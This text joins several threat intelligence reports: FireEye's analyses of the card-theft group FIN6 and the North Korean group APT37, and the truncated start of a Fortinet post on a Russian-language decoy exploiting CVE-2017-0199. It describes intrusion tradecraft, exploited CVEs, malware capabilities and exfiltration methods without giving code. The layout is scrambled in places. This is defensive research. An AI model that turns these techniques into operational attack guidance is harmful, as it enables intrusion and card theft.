Milpitas, CA 95035 408.321.6300/877.FIREEYE (347.3393) info@FireEye.com FireEye is the intelligence-led security company. Working as a seamless, scalable extension of customer security operations, FireEye offers a single platform that blends innovative security technologies, nation-state grade threat intelligence and world-renowned Mandiant consulting. With this approach, FireEye eliminates the complexity and burden of cyber security for organizations struggling to prepare for, prevent and respond to cyber attacks. FireEye has over 6,600 customers across 67 countries, including more than 45 percent of the Forbes Global 2000. 2018 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.MTRENDS.US-EN-042018 F I R E E Y E T H R E A T I N T E L L I G E N C E FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 Primary Account No. (19 digits max.) SPECIAL REPORT / APRIL 2016 NAME Name (26 alphanumeric characters max. ADDITIONAL DATA No. of Characters Expiration Date (YY/MM) Service Code DISCRETIONARY DATA No. of Characters ES LRC CONTENTS Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6 FIN6 Gaining Access - Indiscriminate or Intentional? FIN6 - Getting the Job Done Underground Card Shops - Following the Money Conclusion SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 FOLLOW THE MONEY: D I S S E C TI N G T H E O P E R ATI O N S O F T H E C Y B E R C R I M E G R O U P F I N 6 Reports on payment card intrusions and theft are often fragmentary. The focus is on various pieces of the attack and less about capturing the end-to-end cycle of compromise, data theft, illicit sale and use. The full scope of attacker activity traditionally occurs beyond the view of any one group of investigators. Incident response teams may have visibility into the technical aspects of the breach itself, while cyber crime researchers monitor the movement and sale of stolen data in the criminal underground. FireEye Threat Intelligence and iSIGHT Partners recently combined our research to illuminate the activities of one particular threat group: FIN6. This combined insight has provided unique and extensive visibility into FIN6 s operations, from initial intrusion to the methods used to navigate the victims networks to the sale of the stolen payment card data in an underground marketplace. In this report, we describe FIN6 s activities and tactics, techniques and procedures (TTPs), and provide a glimpse into the criminal ecosystem that supports the payoff for their operations. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 FIN6 FIN6 is a cyber criminal group intent on stealing payment card data for monetization. In 2015, FireEye Threat Intelligence supported several Mandiant Consulting investigations in the hospitality and retail sectors where FIN6 actors had aggressively targeted and compromised pointof-sale (POS) systems, making off with millions of payment card numbers. Through iSIGHT, we learned that the payment card numbers stolen by FIN6 were sold on a card shop an underground criminal marketplace used to sell or exchange payment card data. Figure 1 illustrates what we believe to be FIN6 s typical operational methodology. FIREEYE INTELLIGENCE TRACKS targeted Financial threats (known as groups) capable of using a wide range of tools and tactics during their computer network intrusions. These groups employ a high level of planning, organization and task management to accomplish their goals. The threat actors generally target a particular demographic or type of organization, and their goal is financial gain from the data they steal. They may profit through direct sale of stolen data (such as payment cards or personally identifiable information), unauthorized transfer of funds (such as with stolen bank account or bank routing credentials); or insider trading (based on the theft of nonpublic business information). FIGURE 1: FIN6 OPERATIONAL METHODOLOGY M A LWA R E Email phishing credential theft Lateral movement on the network GRABNEW M A LWA R E I N D I S C R I M I N AT E Exfiltration payment card data to the cyber criminal underground CARD SHOP TA R G E T E D CASH OUT SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 GRABNEW, ALSO KNOWN AS NEVERQUEST AND VAWTRAK, emerged around 2013 and since then has been consistently and indiscriminately spread through massive spam campaigns. We typically differentiate between threat actors who indiscriminately distribute malware and threat actors who use malware selectively. GRABNEW itself is a credential-stealing backdoor with form-grabbing capabilities and the ability to inject code into specific web pages to, for example, mimic a valid login prompt for a financial institution to facilitate banking fraud. In some cases, the presence of GRABNEW malware has overlapped with the spread of POS malware such as PoSeidon, a variant of the Backoff POS malware. GAININGACCESS INDISCRIMINATE OR INTENTIONAL? s not entirely clear how FIN6 initially compromises victims. In Mandiant s investigations, FIN6 already possessed valid credentials to each victim network and used those credentials to initiate further intrusion activity.1 In one case, GRABNEW malware was found on a victim computer that FIN6 later used in its operations. We suspect that the computer was originally compromised with GRABNEW by a separate threat actor, who used GRABNEW to capture valid user credentials. FIN6 may have obtained those credentials (through purchase or trade) and used them for its operations. FIN6 s use of GRABNEW, or credentials collected by GRABNEW, is not altogether surprising and possibly points to a cyber crime support ecosystem that opens doors to threat actors capable of lateral movement and more damaging activities. Previously, we observed another FIN group FIN2 leverage several existing Citadel compromises to deploy their custom tools and expand within a network to compromise payment card systems. Likewise, Proofpoint recently observed GRABNEW variants leading to downloads of POS malware known as AbaddonPOS. When investigating an intrusion, it may be challenging to determine the initial method of compromise the means through which a threat group first gained access to a victim network. While in some cases evidence may point to a spear-phishing attack or exploit execution, in other cases little to no forensic evidence of the original compromise remains. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 After locating POS systems within the target s environment, FIN6 deployed POS malware that we call TRINITY. ADDITIONAL DATA No. of Characters Expiration Date (YY/MM) Service Code FIN6 DISCRETIONARY DATA ES LRC No. of Characters GETTING THE JOB DONE and control (CnC) servers and download and execute shellcode. FIN6 generally used either registry run keys or Windows scheduled tasks in order to establish persistence for these tools. After gaining access with valid credentials, we observed FIN6 leveraging components of the Metasploit Framework to establish their foothoold. For example, in one case, FIN6 used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener that would execute shellcode received over a specific port. Similarly, FIN6 used at least two downloaders called HARDTACK and SHIPBREAD (apparent variations on Metasploit payloads) to establish backdoor access to the compromised environment. Both of these tools are configured to connect to remote command Once their accesses were established with preferred backdoors, FIN6 used additional public utilities such as Windows Credentials Editor for privilege escalation and credential harvesting. Additional privilege escalation tools exploited Microsoft Windows vulnerabilities in an attempt to compromise privileged account credentials on various hosts. The tools targeted CVE-2013-3660, CVE-2011-2005 and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.2 Continuing their use of Metasploit-related tools, FIN6 also used Metasploit s PsExec NTDSGRAB module to obtain a copy of the Active Directory database (ntds.dit). Access to this file would allow them to extract password hashes from the file and crack them offline. ll threat groups generally follow a broad operational framework known as the Attack Lifecycle. While the phases of the Attack Lifecycle from initial compromise to privilege escalation to maintaining presence and completing the mission are remarkably consistent, the specific TTPs used vary widely based on a group s skills, motivations and ultimate goals. These vulnerabilities have all been patched by Microsoft; Windows systems with up-to-date software and security patches should not be exploitable. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 In addition to collecting credentials, FIN6 used publicly available tools to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers and NetBIOS. In particular, during the reconnaissance phase they gathered information on systems running SQL instances, dumping schemas for multiple databases and SQL user accounts. Specific tools used by FIN6 included Microsoft built-in SQL querying tool (osql.exe), Query Express (a free, portable graphical SQL client capable of connecting to Microsoft SQL and Oracle databases) and AdFind, a free command-line tool for querying Active Directory. Over the course of one day, for example, the group targeted more than 900 SQL servers to dump reconnaissance information to support further operations. Capitalizing on the acquired reconnaissance data, FIN6 began lateral movement using credentials stolen from various systems on which they gathered usernames and password hashes. They likely cracked these hashes outside of the target s network before using multiple sets of domain admin credentials in combination with remote command execution tools such as PsExec and Remote Command Executor (RemCom) throughout the rest of the lateral movement phase. To maintain presence and support interactive access in the environment, FIN6 leveraged the publicly available Plink command-line utility (part of the PuTTY SSH and Telnet suite) to create SSH tunnels to CnC servers under their control. As shown in Figure 2, they used these SSH tunnels to route Remote Desktop Protocol (RDP) traffic and allow for interactive RDP sessions with systems in the target network. After locating POS systems within the target s environment, FIN6 deployed POS malware that we call TRINITY (also known as FrameworkPOS), with Scheduled Tasks being used for persistence. TRINITY runs continuously and targets system processes not listed in its accompanying process blacklist, seeking data that matches payment card track data. Once the malware identifies track data, it copies and encodes it to a local file in a subdirectory of the c:\windows\ directory while attempting to conceal these files with .dll or .chm extensions. In one particular case and as an example of scale FIN6 compromised and deployed TRINITY on around 2,000 systems, resulting in millions of exposed cards. TRINITY IS POS MALWARE THAT ATTEMPTS TO LOCATE AND STEAL PAYMENT CARD DATA FROM MEMORY. The malware first creates mutexes named m_number3 and MuTex-Check and exits if either already exists. The malware then continuously iterates over the current process listing and examines the memory space of each process. Processes with module names less than five characters are skipped, along with some specific process names that are unlikely to contain payment card information. TRINITY logs captured data to disk, typically to a file in %WINDIR%\temp or %WINDIR%\help. The malware encodes the data with a simple substitution cipher and single-byte XOR using the OxAA key. Finally, to move the stolen payment card data out of the environment, FIN6 used a script to systematically iterate through a list of compromised POS systems, copying the harvested track data files to a numbered file before removing the original data files. They then compressed the log files into a ZIP archive and moved the archive through the environment to an intermediary system and then to a staging system. From the staging system, they then copied the stolen data to external CnC servers under their control using the FTP command line utility. In another case, FIN6 used an alternative extraction method to upload payment card data to a public file sharing service. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 F I G U R E 2 : N E T W O R K D I AG R A M S H O W I N G F I N 6 P L I N K S S H T U N N E L U S E D T O R O U T E R D P T R A F F I C T O V I C T I M C O M P U T E R S AT TAC K E R CnC SERVER AT TAC K E R CnC SERVER AT TAC K E R CnC SERVER PLINK TUNNEL VICTIM 1 HOST TUNNEL VICTIM 2 VICTIM 3 VICTIM 4 SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 Our analysis of the data sold through this underground vendor indicates that FIN6 compromises are highly profitable to the actors involved, potentially resulting in extensive fraud losses. UNDERGROUND CARD SHOPS FOLLOWING THE MONEY sing iSIGHT Partners collected intelligence, we discovered that the stolen payment card data from these intrusions were sold in an underground card shop. This particular shop is advertised on multiple underground cyber crime forums and has offered diverse criminals access to millions of stolen payment cards on a regular basis. This closes the loop on the lifecycle of cyber criminal activity and exemplifies one of the final stages of cyber crime actors monetizing their stolen data. We have identified stolen data from several of FIN6 s victims being sold by this vendor as far back as 2014. This connection means that data stolen by FIN6 has almost certainly ended up in the hands of fraud operators across the world, as they buy and exploit payment cards from the underground shop. In each case, the stolen data began appearing in the shop within six months of the FIN6 breach. While the amount of data sold through the shop varies by breach, in some cases more than 10 million cards associated with a specific FIN6-linked breach have been identified on the shop. After being posted, much of the stolen card data is quickly purchased for exploitation. Along with the data we have linked to FIN6, this underground shop has sold data from millions of other cards, which may be linked to breaches perpetrated by other threat actors. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 UNDERGROUND COMMUNITIES DEALING IN STOLEN CARD DATA EXIST ACROSS THE world and are a major facilitator of money laundering operations. A large number of these communities take the form of illicit e-commerce sites called card shops or dump shops (criminals refer to stolen card-present transaction data as dumps ). These shops allow their clientele to use a web-based platform to sort through data on thousands or millions of payment cards and purchase exactly the types they want based on their money laundering capabilities. These data are then added to the client s cart for checkout, similar to a legitimate website. Subsequently, customers use the card information they have purchased for many different money laundering schemes, such as buying and reselling gift cards or electronics. Our analysis of the data sold through this underground vendor indicates that FIN6 compromises are highly profitable to the actors involved, potentially resulting in extensive fraud losses. For instance, in one FIN6-linked breach the vendor was advertising nearly than 20 million cards. These cards were predominantly from the United States and selling for an average of $21. So the total return for the shop if all the data was sold at full price could have been about $400 million. In reality, the shop would typically only make a fraction of this figure since not all the data would be sold (laundering stolen cards is typically much harder than stealing them), buyers want the newest data they can get (data that has been on the shop for a while loses its value) and the shop offers discounts based on various criteria. Still, a fraction of $400 million is a significant sum. In turn, cyber criminals purchasing the data would expect to make more than they paid for the cards by conducting fraudulent transactions using those cards. Not all of the data sold on this particular card shop has been tied to an identified compromise or specific cyber criminal group. Additionally, as is often the case with prominent cyber criminal vendors, it is not yet clear how the operators of the underground site are linked to the actors who steal the data the shop sells. The vendor has sold large amounts of card data with varied characteristics, so it is possible the shop operators maintain relationships with more than one data provider. FIN6 members could include some of the operators behind this shop; alternately, FIN6 could be selling stolen data to the operators of this site. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 CONCLUSION ood threat intelligence comes from a combination of factors. It requires visibility into the threat landscape, including both a broad view (the ability to identify activity across a range of countries, industries and organizations) and a deep view (the ability to gather detailed information about how threat actors operate). It also requires skilled analysts who are able to review, fuse and understand the available data. The story of FIN6 shows how real-world threat actors operate, providing a glimpse not only into the technical details of the compromise, but also into the human factor as well; namely, the interactions between different criminals or criminal groups, and how it is not just data being bartered or sold in the underground, but also tools, credentials and access. In this case, the combined intelligence from FireEye, Mandiant and iSIGHT intelligence teams was able to not only identify malicious activity aimed at stealing payment card data, but also provide a detailed window into that activity from compromise through monetization of the stolen data. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 To download this or other FireEye Threat Intelligence reports, visit: www.fireeye.com/reports.html FireEye, Inc. 1440 McCarthy Blvd. Milpitas, CA 95035 408.321.6300 / 877.FIREEYE (347.3393) / info@FireEye.com www.FireEye.com 2016 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.FIN6.EN-US.042016 APT37 (REAPER) The Overlooked North Korean Actor SPECIAL REPORT SPECIAL REPORT APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR CONTENTS INTRODUCTION Introduction Targeting and Mission Initial Infection Vectors Exploited Vulnerabilities Command and Control Infrastructure Malware Attribution Outlook and Implications Appendix: Malware Used by APT37 On Feb. 2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper). Recent examination of this group s activities by FireEye iSIGHT Intelligence reveals APT37 has expanded its operations in both scope and sophistication. APT37 s toolset, which includes access to zero-day vulnerabilities and wiper malware, combined with heightened tensions in Northeast Asia and North Korea s penchant for norm breaking, means this group should be taken seriously. We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests. FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123. SPECIAL REPORT Targeting and Mission APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities (Fig. 1). APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR We judge that APT37 s primary mission is covert intelligence gathering in support of North Korea s strategic military, political and economic interests. This is based on consistent targeting of South Korean public and private entities and social engineering. APT37 s recently expanded targeting scope also appears to have direct relevance to North Korea s strategic interests. From 2014 to 2017, APT37 targeting concentrated primarily on the South Korean government, military, defense industrial base, and media sector. Lure materials (Fig. 2) typically leveraged the Korean language and featured themes such as Korean peninsula reunification or sanctions. Figure 1. APT37 Targeting Scope. Figure 2. 2016 Korean Reunification Conference Form (MD5:183be2035d5a546670d2b9deeca4eb59). SPECIAL REPORT APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR In 2017, APT37 targeted a Middle Eastern company that entered into a joint venture with the North Korean government to provide telecommunications service to the country (read on for a case study). At that time, other targets included individuals involved in international affairs and trade issues, the general director of a Vietnamese international trading and transport company, and possibly individuals working with Olympics organizations assisting in securing resources for athletes. North Korean defector and human rights-related targeting provides further evidence that APT37 conducts operations aligned with the interests of North Korea. APT37 targeted a research fellow, advisory member, and journalist associated with different North Korean human rights issues and strategic organizations. It also targeted an entity in Japan associated with the United Nations missions on sanctions and human rights. APT37 distributed SLOWDRIFT malware using a lure referencing the Korea Global Forum against academic and strategic institutions located in South Korea. Notably, the email was sent from a compromised South Korean institute that conducts studies on North Korea. The string durihana, which is also the name of a Christian missionary organization that works with North Korean defectors, was included in an APT37 weaponized document sent to an individual who works with a North Korean human rights organization. Initial Infection Vectors CASE STUDY: Targeting of Middle Eastern Organization with Business ties to North Korea We believe a Middle Eastern organization was targeted by APT37 because it had been involved with a North Korean company and a business deal went bad. This firm was targeted shortly after media reports of this schism had gone public. The targeting effort may have been an attempt by the North Korean government to gather information on a former business partner. The operation exemplifies APT37 s tactics, techniques and procedures (TTPs), and reflects the advanced capabilities of this espionage group. In May 2017, APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company. The specially crafted email included an attachment containing exploit code for CVE-20170199, a vulnerability in Microsoft Office that had been disclosed just a month earlier. Once opened, the malicious document communicated with a compromised website, most likely to surreptitiously download and install a backdoor called SHUTTERSPEED (MD5: 7c2ebfc7960aac6f8d58b37e3f092a9c). The tool would enable APT37 to collect system information, take screenshots and download additional malicious files to the victim computer. In addition to the aforementioned spear phishing tactics, APT37 leverages a variety of methods to deliver malware. These include strategic web compromises typical of targeted cyber espionage operations, as well as the use of torrent file-sharing sites to distribute malware more indiscriminately. Numerous campaigns have employed social engineering tactics tailored specifically to desired targets. Lures and websites of particular interest to South Korean organizations (e.g. reunification) are regularly leveraged in campaigns. Multiple South Korean websites were abused in strategic web compromises to deliver newer variants of KARAE and POORAIM malware. Identified sites included South Korean conservative media and a news site for North Korean refugees and defectors. In one instance, APT37 weaponized a video downloader application with KARAE malware that was indiscriminately distributed to South Korean victims through torrent websites. SPECIAL REPORT APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR CVE-2018-4878 (Zero-day vulnerability) CVE-2017-0199 CVE-2013-4979 CVE-2013-4979 CVE-2015-2387 CVE-2015-2545 CVE-2015-7645 CVE-2015-5122 CVE-2016-4117 CVE-2014-8439 CVE Release Date CVE-2016-1019 Exploit CVE-2015-5119 CVE-2015-2419 CVE-2015-3105 2018 2017 2016 2015 2014 Figure 3. Timeline of CVE Release Dates vs. Dates of APT37 CVE Exploitation. Exploited Vulnerabilities Command and Control Infrastructure APT37 frequently exploits vulnerabilities in Hangul Word Processor (HWP) due to the software prevalence in South Korea. Further, the group recently demonstrated access to zero-day vulnerabilities (CVE-2018-0802) and has the flexibility to quickly incorporate recently publicized vulnerabilities into spear phishing and strategic web compromise operations. These capabilities suggest a high operational tempo and specialized expertise. APT37 uses a variety of techniques for command and control. They leverage compromised servers, messaging platforms and cloud service providers to avoid detection. The group often relies on compromised sites to host second stage malware payloads. Over time, APT37 has changed the email providers to set up command and control accounts in a possible attempt to cover their tracks and cause misdirection. These tactics have been refined over the years as APT37 evolves to evade network defenders. APT37 has repeatedly deployed exploits, especially in Flash, quickly after vulnerabilities are initially publicized (see Table 1). CVE-2016-4117, CVE2016-1019 and CVE-2015-3043 were all exploited by APT37 in this way. FireEye iSIGHT Intelligence confirmed that since at least November 2017, APT37 exploited a zero-day Adobe Flash vulnerability, CVE-2018-4878, to distribute DOGCALL malware to South Korean victims. While use and discovery of zero-day exploits over the past several years has expanded beyond a nation-state dominated environment to include commercial vendors of cyber espionage capabilities and sophisticated financially motivated actors, access to zero-day exploits remains a factor in distinguishing sophisticated or well-resourced actors. Figure 3 details the vulnerabilities exploited by APT37, comparing the time of exploitation to the time the CVE was released. APT37 has used various legitimate platforms as command and control for its malware tools. While some early campaigns leveraged POORAIM, which abused AOL Instant Messenger, newer activity deploys DOGCALL, which uses cloud storage APIs such as pCloud and Dropbox. APT37 relies on compromised websites to host second stage malware. Small websites focused on subjects such as aromatherapy and scuba diving have been leveraged, and were most likely compromised opportunistically and made to host malicious payloads. APT37 has improved its operational security over time. For example, early 2015 use of SLOWDRIFT involved credentials associated with Korea related mail servers such as Daum.net . Later, in 2015 and early 2016, APT37 pivoted to different email providers such as Gmail and hmamail.com in an attempt to anonymize activity. Then from mid-2016 onward, APT37 began using @yandex.com and @ india.com email accounts -- possibly an attempt to cause misattribution. SPECIAL REPORT APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR Malware APT37 employs a diverse suite of malware for initial intrusion and exfiltration. Their malware is characterized by a focus on stealing information from victims, with many set up to automatically exfiltrate data of interest. Figure 4 shows APT37 malware usage over time. A full breakdown of the malware we associate with APT37, along with how it is detected by FireEye devices, is available in the Appendix. Along with custom malware used for espionage purposes, APT37 also has access to destructive malware. In April 2017, APT37 targeted South Korean military and government organizations with the DOGCALL backdoor and RUHAPPY wiper malware. Although the wiper capability was not used in the identified instance, RUHAPPY can overwrite a machine's Master Boot Record (MBR), causing the system to fail to boot into preconfigured partitions. 2015 It is possible that APT37 s distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service (DDoS) attacks, or for other activity such as financially motivated campaigns or disruptive operations. Disruptive and destructive cyber threat activity, including the use of wiper malware, public leaks of proprietary materials by false hacktivist personas, DDoS attacks and electronic warfare tactics such as GPS signal jamming is consistent with past behavior by other North Korean actors. 2016 2017 KARAE SOUNDWAVE ZUMKONG RICECURRY CORALDECK POORAIM SLOWDRIFT MILKDROP GELCAPSULE DOGCALL HAPPYWORK RUHAPPY SHUTTERSPEED WINERACK 2018 Figure 4. Timeline of APT37 Malware Use By First and Last Observed Compile Times. SPECIAL REPORT Attribution We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea. This assessment is based on multiple factors, including APT37 s targeting profile, insight into the group s malware development and probable links to a North Korean individual believed to be the developer of several of APT37 s proprietary malware families: APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR An individual we believe to be the developer behind several APT37 malware payloads inadvertently disclosed personal data showing that the actor was operating from an IP address and access point associated with North Korea. The compilation times of APT37 malware is consistent with a developer operating in the North Korea time zone (UTC +8:30) and follows what is believed to be a typical North Korean workday (Fig. 5). The majority of malware compilation times occurred between 10:00 a.m. and 7:00 p.m., with a dip around noon. Additional activity occurred late into the evening. This is consistent with media reporting of extremely long hours for North Korean workers. The majority of APT37 activity continues to target South Korea, North Korean defectors, and organizations and individuals involved in Korean Peninsula reunification efforts. Similarly, APT37 targeting of a Middle Eastern company in 2017 is also consistent with North Korean objectives given the entity s extensive relationships inside North Korea. 12 a.m. 1 a.m. 2 a.m Figure 5. APT37 Compile Times Against Local Time in North Korea. 3 a.m 4 a.m 5 a.m 6 a.m 7 a.m 8 a.m 9 a.m. Outlook and Implications 10 a.m 11 a.m. 12 p.m. North Korea has repeatedly demonstrated a willingness to leverage its cyber capabilities for a variety of purposes, undeterred by notional redlines and international norms. Though they have primarily tapped other tracked suspected North Korean teams to carry out the most aggressive actions, APT37 is an additional tool available to the regime, perhaps even desirable for its relative obscurity. We anticipate APT37 will be leveraged more and more in previously unfamiliar roles and regions, especially as pressure mounts on their sponsor. 1 p.m. 2 p.m. 3 p.m. 4 p.m. 5 p.m. 6 p.m. 7 p.m. 8 p.m. 9 p.m. 10 p.m. 11 p.m. Frequency The slow transformation of regional actors into global threats is well established. Minor incidents in Ukraine, the Middle East and South Korea have heralded the threats, which are now impossible to ignore. In some cases, the global economy connects organizations to aggressive regional actors. In other cases, a growing mandate draws the actor on to the international stage. Ignored, these threats enjoy the benefit of surprise, allowing them to extract significant losses on their victims, many of whom have never previously heard of the actor. SPECIAL REPORT APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR Appendix: Malware Used by APT37 Malware Description Detected as Malware Description Detected as CORALDECK CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives. APT.InfoStealer.Win.CORALDECK MILKDROP MILKDROP is a launcher that sets a persistence registry key and launches a backdoor. FE_Trojan_Win32_MILKDROP_1 FE_APT_InfoStealer_Win_ CORALDECK_1 POORAIM Backdoor.APT.POORAIM DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. FE_APT_RAT_DOGCALL POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. DOGCALL FE_APT_Backdoor_Win32_ DOGCALL_1 APT.Backdoor.Win.DOGCALL DOGCALL was used to target South Korean Government and military organizations in March and April 2017. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. The malware is typically dropped using an HWP exploit in a lure document. Compromised sites have acted as watering holes to deliver newer variants of POORAIM. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable. GELCAPSULE HAPPYWORK GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document. GELCAPSULE has been observed downloading SLOWDRIFT to victim systems. FE_APT_Downloader_Win32_ GELCAPSULE_1 HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains. The collected system information includes: computer name, user name, system manufacturer via registry, IsDebuggerPresent state, and execution path. FE_APT_Downloader_ HAPPYWORK Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a secondstage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloader application as a lure. RICECURRY is a Javascript based profiler used to fingerprint a victim's web browser and deliver malicious code in return. Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect. Exploit.APT.RICECURRY RUHAPPY RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL. It attempts to overwrite the MBR, causing the system not to boot. When victims' systems attempt to boot, the string "Are you Happy?" is displayed. FE_APT_Trojan_Win32_RUHAPPY_1 The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three. FE_APT_Exploit_HWP_Happy Downloader.APT.HAPPYWORK In November 2016, HAPPYWORK targeted government and financial targets in South Korea. KARAE RICECURRY FE_APT_Backdoor_Karae_enc FE_APT_Backdoor_Karae Backdoor.APT.Karae SHUTTERSPEED SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets. FE_APT_Backdoor_SHUTTERSPEED APT.Backdoor.SHUTTERSPEED APT.Backdoor.SHUTTERSPEED Malware Description Detected as SLOWDRIFT SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads. FE_APT_Downloader_Win_ SLOWDRIFT_1 Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in the private sector. FE_APT_Downloader_Win_ SLOWDRIFT_2 APT.Downloader.SLOWDRIFT SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG. SOUNDWAVE SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\Temp\HncDownload\ YYYYMMDDHHMMSS.log. FE_APT_HackTool_Win32_ SOUNDWAVE_1 ZUMKONG ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers. Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.]ru. FE_APT_Trojan_Zumkong WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes. FE_APT_Backdoor_WINERACK WINERACK FireEye, Inc 2018 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.APT37.EN-US.22018 Trojan.APT.Zumkong Backdoor.APT.WINERACK FireEye, Inc. 601 McCarthy Blvd. Milpitas, CA 95035 408.321.6300 877 FIREEYE (347.3393) info@FireEye.com www.FireEye.com Russian Army Exhibition Decoy Leads to New BISKVIT Malware fortinet.com/blog/threat-research/russian-army-exhibition-decoy-leads-to-new-biskvit-malware.html August 20, 2018 Threat Research By Jasper Manuel and Rommel Joven | August 20, 2018 A few days ago, the FortiGuard Labs team found a malicious PPSX file exploiting CVE-20170199 that had been crafted for Russian speakers. The filename when translated means Exhibition . On further examination, the PPSX file seems to have been targeted at an exhibition being held annually in Russia called Army 2018 International Military and Technical Forum. This is one of the largest exhibitions of military weapons and special equipment, not only in Russia, but also one of the outstanding events among similar exhibitions in the world. The discovery of this malicious document is very timely since the event is scheduled to be held August 21-26, 2018. Figure 01. Decoy file Another interesting element of this malware is the included paragraph, shown below. 1/15 Figure 02. Invitation in Russian This roughly translates to: Closed dynamic show of modern and prospective samples of military armament and special equipment for the reconnaissance and raid action of combined-arms units While the event is open to anyone, organizers from last year have set up specialized expositions that include demonstrations behind closed doors. This caters to selected guests, where pieces of classified equipment are being displayed, including large aerial vehicles and missiles. That being said, we believe that this malicious document is being targeted to those selected guests who want to be, or are already included in these closed door invitations. This year s event has already 66 official foreign delegations confirming their participation. We will take a look on how a PPSX file could compromise an unpatched system. Analysis We begin with the malicious PPSX file that exploits CVE-2017-0199 and opens a 